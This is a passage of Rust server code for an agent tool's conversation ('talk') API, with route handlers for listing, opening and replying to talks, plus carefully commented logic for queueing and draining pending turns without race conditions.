8039                    .get(reply.target.turn)
8040                    .and_then(|messages| messages.get(reply.target.message))
8041                    .copied();
8042            }
8043        }
8044        let context = talk::context_usage(&talk, cfg);
8045        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8046            .turns
8047            .iter()
8048            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8049            .collect();
8050        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8051            .turns
8052            .iter()
8053            .map(|turn| {
8054                if turn.messages.is_empty() {
8055                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8056                } else {
8057                    turn.messages
8058                        .iter()
8059                        .map(|message| {
8060                            notice_markdown(
8061                                message.sender.unwrap_or(talk::Sender::Operator),
8062                                &message.body,
8063                                message.display.as_ref(),
8064                            )
8065                        })
8066                        .collect()
8067                }
8068            })
8069            .collect();
8070        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8071            .pending_messages
8072            .iter()
8073            .map(|message| {
8074                notice_markdown(
8075                    message.sender.unwrap_or(talk::Sender::Operator),
8076                    &message.body,
8077                    message.display.as_ref(),
8078                )
8079            })
8080            .collect();
8081        for nodes in &mut turn_bodies_md {
8082            references.markdown(nodes);
8083        }
8084        for nodes in turn_messages_md
8085            .iter_mut()
8086            .flatten()
8087            .chain(pending_messages_md.iter_mut())
8088            .flatten()
8089        {
8090            references.markdown(nodes);
8091        }
8092        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8093        let persona_name = persona::find(specs, &talk.persona)
8094            .filter(|p| !p.is_default())
8095            .map(|p| p.name);
8096        let mut avatar_persona = persona::find(specs, &talk.persona)
8097            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8098        // A removed configured persona may still have an override and old talks.
8099        if avatar_persona.id != talk.persona
8100            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8101        {
8102            avatar_persona.id.clone_from(&talk.persona);
8103            avatar_persona.icon = None;
8104        }
8105        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8106        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8107        Self {
8108            turn_bodies_md,
8109            turn_messages_md,
8110            pending_messages_md,
8111            thinking,
8112            context,
8113            operator_name,
8114            persona_name,
8115            persona_avatar,
8116            magi_avatar: magi_icon_url(home),
8117            operator_avatar: operator_icon_url(home),
8118            talk,
8119        }
8120    }
8121}
8122
8123/// Parse only the user-facing representation of an explicitly identified MAGI send.
8124fn notice_markdown(
8125    sender: talk::Sender,
8126    body: &str,
8127    display: Option<&crate::prompt::NoticeDisplay>,
8128) -> Option<Vec<md::Node>> {
8129    if sender != talk::Sender::Magi {
8130        return None;
8131    }
8132    let text = if let Some(display) = display {
8133        display.facts.as_str()
8134    } else {
8135        // Unknown completion templates may contain internal directives. Never
8136        // promote their agent input to the Markdown display surface.
8137        if crate::prompt::is_completion_notice(body)
8138            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8139        {
8140            return None;
8141        }
8142        body.strip_prefix("magi: ").unwrap_or(body)
8143    };
8144    Some(md::to_nodes(text, &md::ImageBase::None))
8145}
8146
8147/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8148/// conversation has filed, so the phone can follow one from inside the
8149/// conversation that asked for it rather than hunting the Queue for a task id
8150/// it may not remember.
8151#[derive(Debug, Serialize)]
8152struct TalkDetailView {
8153    #[serde(flatten)]
8154    view: TalkView,
8155    tasks: Vec<TaskView>,
8156    task_progress: TalkTaskProgress,
8157    /// The agents this talk's repository can switch to; empty when its
8158    /// configuration cannot be read, which must not fail the whole detail.
8159    roster: Vec<RosterEntry>,
8160    /// The personas the conversation can pick from. The built-ins are always
8161    /// listed, even when the repository's configuration cannot be read.
8162    personas: Vec<PersonaEntry>,
8163}
8164
8165/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8166#[derive(Debug, Serialize)]
8167struct TalkTaskProgress {
8168    state: &'static str,
8169    total: usize,
8170    done: usize,
8171    counts: std::collections::BTreeMap<&'static str, usize>,
8172    unfinished_ids: Vec<String>,
8173}
8174
8175fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8176    let mut counts = std::collections::BTreeMap::from([
8177        ("queued", 0),
8178        ("running", 0),
8179        ("done", 0),
8180        ("failed", 0),
8181        ("held", 0),
8182        ("blocked", 0),
8183        ("parked", 0),
8184    ]);
8185    let mut unfinished_ids = Vec::new();
8186    for task in tasks {
8187        *counts.entry(task.status.as_str()).or_default() += 1;
8188        if task.status != TaskStatus::Done {
8189            unfinished_ids.push(task.id.clone());
8190        }
8191    }
8192    TalkTaskProgress {
8193        state: if tasks.is_empty() {
8194            "none"
8195        } else if unfinished_ids.is_empty() {
8196            "complete"
8197        } else {
8198            "incomplete"
8199        },
8200        total: tasks.len(),
8201        done: tasks.len() - unfinished_ids.len(),
8202        counts,
8203        unfinished_ids,
8204    }
8205}
8206
8207/// One persona as the talk's persona selector shows it.
8208#[derive(Debug, Serialize)]
8209struct PersonaEntry {
8210    id: String,
8211    name: String,
8212    /// Avatar URL, see [`TalkView::persona_avatar`].
8213    avatar: String,
8214}
8215
8216/// One roster agent as the talk's agent selector shows it.
8217#[derive(Debug, Serialize)]
8218struct RosterEntry {
8219    id: String,
8220    kind: AgentKind,
8221    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8222    runnable: bool,
8223}
8224
8225/// `GET /api/talks`.
8226///
8227/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8228/// own order.
8229async fn talks_list(
8230    State(ui): State<Arc<Ui>>,
8231    Query(q): Query<ListQuery>,
8232) -> ApiResult<Json<Vec<TalkView>>> {
8233    blocking(move || {
8234        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8235        let talks = q.ids.as_ref().map_or_else(
8236            || ui.talks.list(),
8237            |ids| {
8238                ids.split(',')
8239                    .filter(|id| plain_record_id(id))
8240                    .filter_map(|id| ui.talks.get(id).ok())
8241                    .collect()
8242            },
8243        );
8244        let references = if talks.iter().any(id_links::has_references) {
8245            ui.references.get(
8246                &ui.runs,
8247                &ui.queue,
8248                &ui.questions,
8249                &ui.talks,
8250                talks.iter().any(id_links::has_findings),
8251            )
8252        } else {
8253            Arc::new(id_links::IdIndex::default())
8254        };
8255        Ok(Json(
8256            talks
8257                .into_iter()
8258                .filter(|talk| q.contains(&talk.id))
8259                .map(|talk| {
8260                    let thinking = ui.is_thinking(&talk.id);
8261                    let cfg = configs
8262                        .entry(talk.repo.clone())
8263                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8264                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8265                })
8266                .collect(),
8267        ))
8268    })
8269    .await
8270}
8271
8272/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8273/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8274/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8275/// end still opens a talk against an older binary.
8276#[derive(Debug, Default, Deserialize)]
8277#[serde(default)]
8278struct NewTalk {
8279    agent: Option<String>,
8280    repo: Option<PathBuf>,
8281    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8282    /// wrong type is dropped like a stale value instead of failing the request;
8283    /// each falls back to its default on its own (see [`talk::begin_with`]).
8284    preferred_agent: Option<serde_json::Value>,
8285    persona: Option<serde_json::Value>,
8286    implementers: Option<serde_json::Value>,
8287}
8288
8289/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8290/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8291async fn talk_post(
8292    State(ui): State<Arc<Ui>>,
8293    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8294) -> ApiResult<impl IntoResponse> {
8295    // An absent body, or an empty one, is the normal way to open a talk - see
8296    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8297    // rather than refused.
8298    let body = match body {
8299        Ok(Json(body)) => body,
8300        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8301        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8302    };
8303    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8304    let cfg = config_for(&repo).await?;
8305    let view = blocking(move || {
8306        let preferred = talk::Preferred {
8307            agent: body
8308                .preferred_agent
8309                .as_ref()
8310                .and_then(|v| v.as_str())
8311                .map(str::to_owned),
8312            persona: body
8313                .persona
8314                .as_ref()
8315                .and_then(|v| v.as_str())
8316                .map(str::to_owned),
8317            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8318        };
8319        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8320        let thinking = ui.is_thinking(&talk.id);
8321        Ok(TalkView::new(talk, thinking, &ui))
8322    })
8323    .await?;
8324    Ok((StatusCode::CREATED, Json(view)))
8325}
8326
8327/// Transcript first: unrelated queue history and repository probes are deferred.
8328async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8329    blocking(move || {
8330        let id = resolve_talk(&ui.talks, &id)?;
8331        let talk = ui.talks.get(&id)?;
8332        let thinking = ui.is_thinking(&id);
8333        Ok(Json(TalkView::with_config(
8334            talk,
8335            thinking,
8336            None,
8337            &ui.home,
8338            &ui.references,
8339        )))
8340    })
8341    .await
8342}
8343
8344async fn talk_sections(
8345    State(ui): State<Arc<Ui>>,
8346    Path(id): Path<String>,
8347) -> ApiResult<Json<serde_json::Value>> {
8348    blocking(move || {
8349        let id = resolve_talk(&ui.talks, &id)?;
8350        let talk = ui.talks.get(&id)?;
8351        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8352        let task_progress = talk_task_progress(&tasks);
8353        let tasks: Vec<_> = tasks
8354            .into_iter()
8355            .map(|task| {
8356                serde_json::json!({
8357                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8358                })
8359            })
8360            .collect();
8361        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8362        let roster: Vec<_> = cfg
8363            .as_ref()
8364            .map(|cfg| {
8365                cfg.agents
8366                    .iter()
8367                    .map(|a| RosterEntry {
8368                        id: a.id.clone(),
8369                        kind: a.kind,
8370                        runnable: agent::installed(a),
8371                    })
8372                    .collect()
8373            })
8374            .unwrap_or_default();
8375        let specs = cfg
8376            .as_ref()
8377            .map(|cfg| cfg.talk.personas.clone())
8378            .unwrap_or_default();
8379        let personas: Vec<_> = persona::catalog(&specs)
8380            .into_iter()
8381            .map(|p| PersonaEntry {
8382                avatar: avatar_url(&ui.home, &talk.id, &p),
8383                id: p.id,
8384                name: p.name,
8385            })
8386            .collect();
8387        let active_persona = persona::find(&specs, &talk.persona)
8388            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8389        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8390        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8391        Ok(Json(serde_json::json!({
8392            "tasks": tasks, "task_progress": task_progress,
8393            "roster": roster, "personas": personas,
8394            "context": talk::context_usage(&talk, cfg.as_ref()),
8395            "context_for": talk.updated_at,
8396            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8397            "persona_name": persona_name,
8398            "persona_avatar": persona_avatar,
8399        })))
8400    })
8401    .await
8402}
8403
8404/// `GET /api/talks/{id}`.
8405async fn talk_detail(
8406    State(ui): State<Arc<Ui>>,
8407    Path(id): Path<String>,
8408) -> ApiResult<Json<TalkDetailView>> {
8409    blocking(move || {
8410        let id = resolve_talk(&ui.talks, &id)?;
8411        let talk = ui.talks.get(&id)?;
8412        let thinking = ui.is_thinking(&talk.id);
8413        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8414        let task_progress = talk_task_progress(&tasks);
8415        let tasks = tasks.into_iter().map(TaskView::from).collect();
8416        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8417        let roster = cfg
8418            .as_ref()
8419            .map(|cfg| {
8420                cfg.agents
8421                    .iter()
8422                    .map(|a| RosterEntry {
8423                        id: a.id.clone(),
8424                        kind: a.kind,
8425                        runnable: agent::installed(a),
8426                    })
8427                    .collect()
8428            })
8429            .unwrap_or_default();
8430        let specs = cfg
8431            .as_ref()
8432            .map(|cfg| cfg.talk.personas.clone())
8433            .unwrap_or_default();
8434        let personas = persona::catalog(&specs)
8435            .into_iter()
8436            .map(|p| PersonaEntry {
8437                avatar: avatar_url(&ui.home, &talk.id, &p),
8438                id: p.id,
8439                name: p.name,
8440            })
8441            .collect();
8442        Ok(Json(TalkDetailView {
8443            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8444            tasks,
8445            task_progress,
8446            roster,
8447            personas,
8448        }))
8449    })
8450    .await
8451}
8452
8453/// The body of `POST /api/talks/{id}/say`.
8454///
8455/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8456/// returned - never bytes of its own - so a turn with no images just omits
8457/// the field, which is what an older front end still does.
8458#[derive(Debug, Default, Deserialize)]
8459#[serde(default, deny_unknown_fields)]
8460struct NewTalkTurn {
8461    reply_to: Option<talk::ReplyTarget>,
8462    text: String,
8463    attachments: Vec<String>,
8464}
8465
8466#[derive(Debug, Deserialize)]
8467#[serde(deny_unknown_fields)]
8468struct EditTalkPending {
8469    #[serde(default)]
8470    message: Option<usize>,
8471    text: String,
8472    expected_text: String,
8473    expected_attachments: Vec<String>,
8474}
8475
8476#[derive(Debug, Deserialize)]
8477#[serde(deny_unknown_fields)]
8478struct ClearTalkPending {
8479    expected_text: String,
8480    expected_attachments: Vec<String>,
8481}
8482
8483/// `POST /api/talks/{id}/say` - one turn of the conversation.
8484///
8485/// Not filesystem work, and therefore not routed through [`blocking`]: this
8486/// route spawns an agent CLI and a turn here can run for the whole of
8487/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8488/// research turn is expected to run commands rather than answer from what it
8489/// already knows. Holding an HTTP connection open that long is not a thing
8490/// to ask a phone to do; the operator's message is recorded and answered for
8491/// immediately, and the reply lands in the background, discovered through
8492/// the change stream's `talks_rev` the same way every other update on this
8493/// surface is.
8494async fn talk_say(
8495    State(ui): State<Arc<Ui>>,
8496    Path(id): Path<String>,
8497    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8498) -> ApiResult<(StatusCode, Json<TalkView>)> {
8499    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8500    if body.text.trim().is_empty() && body.attachments.is_empty() {
8501        return Err(ApiError::bad_request("say something"));
8502    }
8503
8504    let id = {
8505        let ui = Arc::clone(&ui);
8506        let asked = id.clone();
8507        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8508    };
8509    // A closed Talk never accepts a new immediate or queued turn. Check this
8510    // before claiming a slot so its ordinary domain refusal is a 409, not an
8511    // incidental failure from the later record/queue write.
8512    {
8513        let ui = Arc::clone(&ui);
8514        let id = id.clone();
8515        blocking(move || {
8516            let talk = ui.talks.get(&id)?;
8517            if !talk.status.open() {
8518                return Err(ApiError::conflict(format!(
8519                    "talk {} is {} and takes no more turns",
8520                    talk.short(),
8521                    talk.status.as_str()
8522                )));
8523            }
8524            Ok(())
8525        })
8526        .await?;
8527    }
8528
8529    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8530    // actually stores, before anything is written - an unknown id is a 4xx
8531    // that names it rather than a turn (or a queued draft) silently missing
8532    // an image.
8533    let attachments = {
8534        let ui = Arc::clone(&ui);
8535        let id = id.clone();
8536        let ids = body.attachments.clone();
8537        blocking(move || {
8538            ids.into_iter()
8539                .map(|att_id| {
8540                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8541                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8542                    })
8543                })
8544                .collect::<ApiResult<Vec<talk::Attachment>>>()
8545        })
8546        .await?
8547    };
8548
8549    // Pending recovery and a new immediate turn are decided under the same
8550    // claim lock. Without that one critical section, a second `/say` can see
8551    // the first request's claim as "busy" and append itself to the recovered
8552    // draft before the first request rejects it.
8553    let start = {
8554        let ui = Arc::clone(&ui);
8555        let id = id.clone();
8556        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8557    };
8558    let turn_guard = match start {
8559        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8560        TalkTurnStart::Pending => {
8561            return Err(ApiError::conflict(
8562                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8563            ));
8564        }
8565        TalkTurnStart::Foreign => {
8566            return Err(ApiError::conflict(
8567                "a turn is already running in another process; try again when it has finished",
8568            ));
8569        }
8570        TalkTurnStart::Busy => {
8571            // A turn is already running: queue rather than refuse. See
8572            // `Ui::begin_talk_turn` and `talk::queue`.
8573            //
8574            // The queue write and the drain it may owe live inside the task
8575            // `tokio::spawn` hands to the runtime, for the same reason the
8576            // immediate path below puts `record` there: a dropped handler
8577            // future must not be able to land between a durable write and
8578            // the task that answers it. `blocking` runs its closure on
8579            // `spawn_blocking`, which finishes whether or not anyone is left
8580            // to receive its result - so a disconnect at the `.await` below
8581            // would otherwise leave the draft persisted and the reclaimed
8582            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8583            // ever started and the queued text stranded until some later
8584            // `say` happened to pick it up. The caller's 202 travels back
8585            // over a `oneshot`, sent the moment the write lands.
8586            let (tx, rx) = tokio::sync::oneshot::channel();
8587            tokio::spawn({
8588                let ui = Arc::clone(&ui);
8589                let id = id.clone();
8590                let said = body.text.clone();
8591                let reply_to = body.reply_to.clone();
8592                async move {
8593                    let written = blocking({
8594                        let ui = Arc::clone(&ui);
8595                        let id = id.clone();
8596                        move || {
8597                            let mut talk = ui.talks.get(&id)?;
8598                            // A test-only stop point, right before the write
8599                            // an interleaving test needs to pin - see
8600                            // `BusyQueueGate`. `None` in every real server:
8601                            // the field only exists under `#[cfg(test)]`.
8602                            #[cfg(test)]
8603                            if let Some(gate) = ui
8604                                .busy_queue_gate
8605                                .lock()
8606                                .unwrap_or_else(PoisonError::into_inner)
8607                                .take()
8608                            {
8609                                let _ = gate.reached.send(());
8610                                let _ = gate.release.recv();
8611                            }
8612                            if let Err(error) = talk::queue_reply(
8613                                &mut talk,
8614                                &ui.talks,
8615                                &said,
8616                                attachments,
8617                                reply_to,
8618                            ) {
8619                                if let Ok(fresh) = ui.talks.get(&id) {
8620                                    if !fresh.status.open() {
8621                                        return Err(ApiError::conflict(format!(
8622                                            "talk {} is {} and takes no more turns",
8623                                            fresh.short(),
8624                                            fresh.status.as_str()
8625                                        )));
8626                                    }
8627                                }
8628                                return Err(
8629                                    if error.to_string().contains("invalid reply target") {
8630                                        ApiError::bad_request("invalid reply target")
8631                                    } else {
8632                                        ApiError::from(error)
8633                                    },
8634                                );
8635                            }
8636                            // The turn that looked busy a moment ago can have
8637                            // finished, found nothing to drain and given up the
8638                            // slot in the gap between that check and this write
8639                            // landing - see `drain_loop`'s own doc for the other
8640                            // half of why that gap would otherwise be able to
8641                            // open at all. Reclaiming the slot here, rather than
8642                            // trusting that whoever held it is still watching, is
8643                            // what stops the text just queued from being stranded
8644                            // until an unrelated future `say` happens to drain
8645                            // it.
8646                            let claim = match ui.begin_queued_talk_turn(&id)? {
8647                                Some(turn_guard) => {
8648                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8649                                    Some((talk.clone(), cfg, turn_guard))
8650                                }
8651                                None => None,
8652                            };
8653                            let thinking = ui.is_thinking(&id);
8654                            Ok((TalkView::new(talk, thinking, &ui), claim))
8655                        }
8656                    })
8657                    .await;
8658                    let (view, reclaimed) = match written {
8659                        Ok(pair) => pair,
8660                        Err(e) => {
8661                            // Nobody is listening if the handler's own future
8662                            // was already dropped - that is fine, nothing was
8663                            // persisted and there is no response left to carry
8664                            // this error to.
8665                            let _ = tx.send(Err(e));
8666                            return;
8667                        }
8668                    };
8669                    // If this fails, the caller is gone; the drain below still
8670                    // runs exactly as it would have for a caller that stayed.
8671                    let _ = tx.send(Ok(view));
8672                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8673                        let talks = ui.talks.clone();
8674                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8675                    }
8676                }
8677            });
8678            let view = rx
8679                .await
8680                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8681            return Ok((StatusCode::ACCEPTED, Json(view)));
8682        }
8683    };
8684
8685    let (talk, cfg) = {
8686        let ui = Arc::clone(&ui);
8687        let id = id.clone();
8688        blocking(move || {
8689            let talk = ui.talks.get(&id)?;
8690            let (cfg, _) = Config::discover(&talk.repo, None)?;
8691            Ok((talk, cfg))
8692        })
8693        .await?
8694    };
8695
8696    let talks = ui.talks.clone();
8697    // `record` runs *inside* the spawned task, rather than in this handler
8698    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8699    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8700    // doc), and that drop can land at any `.await` this function makes,
8701    // including one that has already produced its result but not yet
8702    // resumed. A message could end up recorded on disk with the handler
8703    // future gone before it ever reached the `tokio::spawn` that would have
8704    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8705    // that hands the whole future to the runtime as one unit - once made, no
8706    // later drop of *this* handler's own future (that call's return value is
8707    // never held onto here) can reach back in and stop it, so record and the
8708    // hand-off to `respond` are unconditionally atomic from the client's
8709    // point of view. The immediate response this handler owes the caller
8710    // travels back over a `oneshot`, sent the moment `record` succeeds.
8711    let (tx, rx) = tokio::sync::oneshot::channel();
8712    tokio::spawn({
8713        let ui = Arc::clone(&ui);
8714        let talks = talks.clone();
8715        let id = id.clone();
8716        let said = body.text.clone();
8717        let reply_to = body.reply_to.clone();
8718        let mut talk = talk.clone();
8719        async move {
8720            let recorded = blocking({
8721                let talks = talks.clone();
8722                move || {
8723                    if let Err(error) =
8724                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8725                    {
8726                        if let Ok(fresh) = talks.get(&talk.id) {
8727                            if !fresh.status.open() {
8728                                return Err(ApiError::conflict(format!(
8729                                    "talk {} is {} and takes no more turns",
8730                                    fresh.short(),
8731                                    fresh.status.as_str()
8732                                )));
8733                            }
8734                        }
8735                        return Err(if error.to_string().contains("invalid reply target") {
8736                            ApiError::bad_request("invalid reply target")
8737                        } else {
8738                            ApiError::from(error)
8739                        });
8740                    }
8741                    // `record` mutates `talk` in place to the freshly persisted
8742                    // state (status, pending, and the just-appended operator
8743                    // turn), so returning it here is equivalent to re-reading it
8744                    // from disk - without the extra round trip a re-read would
8745                    // need.
8746                    Ok((said.trim().to_owned(), talk))
8747                }
8748            })
8749            .await;
8750            let (text, mut talk) = match recorded {
8751                Ok(pair) => pair,
8752                Err(e) => {
8753                    // Nobody is listening if the handler's own future was
8754                    // already dropped - that is fine, there is no response
8755                    // left to carry this error to and nothing was persisted.
8756                    let _ = tx.send(Err(e));
8757                    return;
8758                }
8759            };
8760            let queued = talk.clone();
8761            let thinking = ui.is_thinking(&id);
8762            // If this fails, the caller is gone; the turn still runs below
8763            // exactly as it would have for a caller that stayed connected.
8764            let _ = tx.send(Ok((queued, thinking)));
8765
8766            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8767                // `respond` records the failure in the transcript itself,
8768                // which is what the phone reads; this line is for the
8769                // operator's terminal.
8770                tracing::warn!("talk {id} turn failed: {e:#}");
8771            }
8772            // Anything `talk::queue` added while the turn above was running
8773            // is still owed an answer - see `drain_loop`.
8774            drain_loop(talk, talks, cfg, id, turn_guard).await;
8775        }
8776    });
8777
8778    let (queued, thinking) = rx
8779        .await
8780        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8781
8782    // 202: the operator's message is recorded and a turn is running.
8783    Ok((
8784        StatusCode::ACCEPTED,
8785        Json(TalkView::new(queued, thinking, &ui)),
8786    ))
8787}
8788
8789/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
8790/// changing it. The turn guard is the same per-talk ownership `talk_say`
8791/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
8792async fn talk_pending_resume(
8793    State(ui): State<Arc<Ui>>,
8794    Path(id): Path<String>,
8795) -> ApiResult<(StatusCode, Json<TalkView>)> {
8796    let id = {
8797        let ui = Arc::clone(&ui);
8798        let asked = id.clone();
8799        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8800    };
8801    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8802        return Err(ApiError::conflict(
8803            "a talk turn is already running; the queued draft will be handled by it",
8804        ));
8805    };
8806    let (talk, cfg) = {
8807        let ui = Arc::clone(&ui);
8808        let id = id.clone();
8809        blocking(move || {
8810            let talk = ui.talks.get(&id)?;
8811            if !talk.status.open() {
8812                return Err(ApiError::conflict(format!(
8813                    "talk {} is {} and takes no more turns",
8814                    talk.short(),
8815                    talk.status.as_str()
8816                )));
8817            }
8818            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8819                return Err(ApiError::conflict("there is no queued draft to resume"));
8820            }
8821            let (cfg, _) = Config::discover(&talk.repo, None)?;
8822            Ok((talk, cfg))
8823        })
8824        .await?
8825    };
8826    let view = TalkView::new(talk.clone(), true, &ui);
8827    let talks = ui.talks.clone();
8828    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8829    Ok((StatusCode::ACCEPTED, Json(view)))
8830}
8831
8832/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
8833/// releasing `turn` only once a check finds it truly empty. Shared by both
8834/// callers that can end up owning a talk's turn slot with something already
8835/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
8836/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
8837/// holder just gave up - see the comment at that call site.
8838///
8839/// The release is folded into the final generation check under `turn`'s own
8840/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
8841/// free". Before its blocking `talk::drain`, this loop observes the queued
8842/// generation. A `say` that sees the turn busy writes its draft, then advances
8843/// that generation. Thus, if it lands while the drain is in flight, the final
8844/// check observes the advance and drains again; otherwise it releases the
8845/// claim while holding the same lock. This keeps the release/arrival handoff
8846/// atomic without holding the global claim mutex across filesystem I/O.
8847async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8848    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8849}
8850
8851/// A settings response must not report idle while its claim is still held.
8852/// Wait until the first drain either releases the claim or promotes a draft.
8853/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8854async fn settle_settings_turn(
8855    talk: Talk,
8856    talks: Talks,
8857    cfg: Config,
8858    id: String,
8859    turn: TalkTurnGuard,
8860    observed: u64,
8861) -> bool {
8862    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8863        let turns = Arc::clone(&turn.turns);
8864        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8865        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8866            // Release under the arrival lock; a later `/say` takes its own claim.
8867            turn.release(&mut live);
8868            return false;
8869        }
8870    }
8871    let (started, settled) = tokio::sync::oneshot::channel();
8872    tokio::spawn(drain_loop_started(
8873        talk,
8874        talks,
8875        cfg,
8876        id,
8877        turn,
8878        Some(started),
8879    ));
8880    settled.await.unwrap_or(false)
8881}
8882
8883async fn drain_loop_started(
8884    mut talk: Talk,
8885    talks: Talks,
8886    cfg: Config,
8887    id: String,
8888    turn: TalkTurnGuard,
8889    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8890) {
8891    let live_set = Arc::clone(&turn.turns);
8892    // `Option` rather than binding `turn` directly to a `_turn` that lives
8893    // for the whole function: releasing it has to happen by calling
8894    // `TalkTurnGuard::release` from inside the locked branch below, which
8895    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8896    // remove the id - correctly, if this loop is ever left some other way -
8897    // but doing it there misses the lock this loop is already holding, which
8898    // is the exact gap `release` exists to close.
8899    let mut turn = Some(turn);
8900    loop {
8901        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8902            // The lease was taken over while a turn ran. Whatever is queued
8903            // stays a draft; running it here would race the new owner.
8904            tracing::warn!("talk {id} lost its turn lease; not draining further");
8905            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8906            if let Some(turn) = turn.take() {
8907                turn.release(&mut live);
8908            }
8909            break;
8910        }
8911        {
8912            // A parking upgrade starts no further turn: whatever is queued
8913            // stays a durable draft for the successor.
8914            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8915            if live.parking {
8916                if let Some(turn) = turn.take() {
8917                    turn.release(&mut live);
8918                }
8919                break;
8920            }
8921        }
8922        // `talk::drain` takes the store lock and can write/rename the talk
8923        // file. Keep the turn mutex out of that synchronous work: it protects
8924        // every talk's in-memory claim, not this talk's disk operation.
8925        let observed = live_set
8926            .lock()
8927            .unwrap_or_else(PoisonError::into_inner)
8928            .queued
8929            .get(&id)
8930            .copied()
8931            .unwrap_or(0);
8932        let drained = blocking({
8933            let talks = talks.clone();
8934            let live_set = Arc::clone(&live_set);
8935            move || {
8936                // Promoting a draft is what starts a turn, so it is decided
8937                // under the same lock a parking upgrade takes: either the
8938                // promotion lands first (and its turn is waited for) or the
8939                // draft stays queued.
8940                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8941                let result = if live.parking {
8942                    Ok(None)
8943                } else {
8944                    talk::drain(&mut talk, &talks)
8945                };
8946                drop(live);
8947                Ok((talk, result))
8948            }
8949        })
8950        .await;
8951        let (next_talk, result) = match drained {
8952            Ok(drained) => drained,
8953            Err(e) => {
8954                tracing::warn!(
8955                    status = %e.status,
8956                    message = %e.message,
8957                    "talk {id} could not start queued-text drain"
8958                );
